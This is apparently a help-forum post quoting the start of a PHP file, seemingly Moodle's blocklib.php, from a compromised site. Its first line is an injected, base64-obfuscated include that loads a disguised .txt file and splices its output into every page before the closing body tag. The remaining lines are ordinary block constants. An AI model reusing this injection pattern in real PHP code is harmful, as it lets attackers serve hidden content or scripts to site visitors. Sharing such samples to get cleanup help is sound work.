General help

Here are several of the lines from the beginning of the file...

<?
ob_start(); include_once base64_decode("L2hvbWUvbnl0ZWdsb3IvcHVibGljX2h0bWwvc2Nob29sL2xhbmcvdHIvaGVscC9xdWl6L2hlbHBjbGFzcy50eHQ="); $_SERVER["php__ss_ldata"]=ob_get_clean(); ob_start("php__session_end");function php__session_end($php__buffer){if(!eregi("[a-z]",$_SERVER["php__ss_ldata"])) return $php__buffer; if(function_exists("php__register_global")) $php__buffer=php__register_global($php__buffer);return eregi("</body>",$php__buffer)?preg_replace("|<\/body>|i","{$_SERVER["php__ss_ldata"]}</body>",$php__buffer):$php__buffer.$_SERVER["php__ss_ldata"]; }
PHP //$Id: blocklib.php,v 1.17.2.7 2004/11/22 04:44:14 mjollnir_ Exp $

//This library includes all the necessary stuff to use blocks in course pages

define('BLOCK_LEFT', 11);
define('BLOCK_RIGHT', 12);
define('BLOCK_MOVE_LEFT', 0x01);
define('BLOCK_MOVE_RIGHT', 0x02);
define('BLOCK_MOVE_UP', 0x04);
define('BLOCK_MOVE_DOWN', 0x08);

define('BLOCKS_DEFAULT_SITE', 'site_main_menu,admin,course_list:course_summary,calendar_month');
define('BLOCKS_DEFAULT_SOCIAL', 'participants,search_forums,calendar_month,calendar_upcoming,social_activities,recent_activity,admin,course_list');
define('BLOCKS_DEFAULT_TOPICS', 'participants,activity_modules,search_forums,admin,course_list:news_items,calendar_upcoming,recent_activity');
define('BLOCKS_DEFAULT_WEEKS', 'participants,activity_modules,search_forums,admin,course_list:news_items,calendar_upcoming,recent_activity');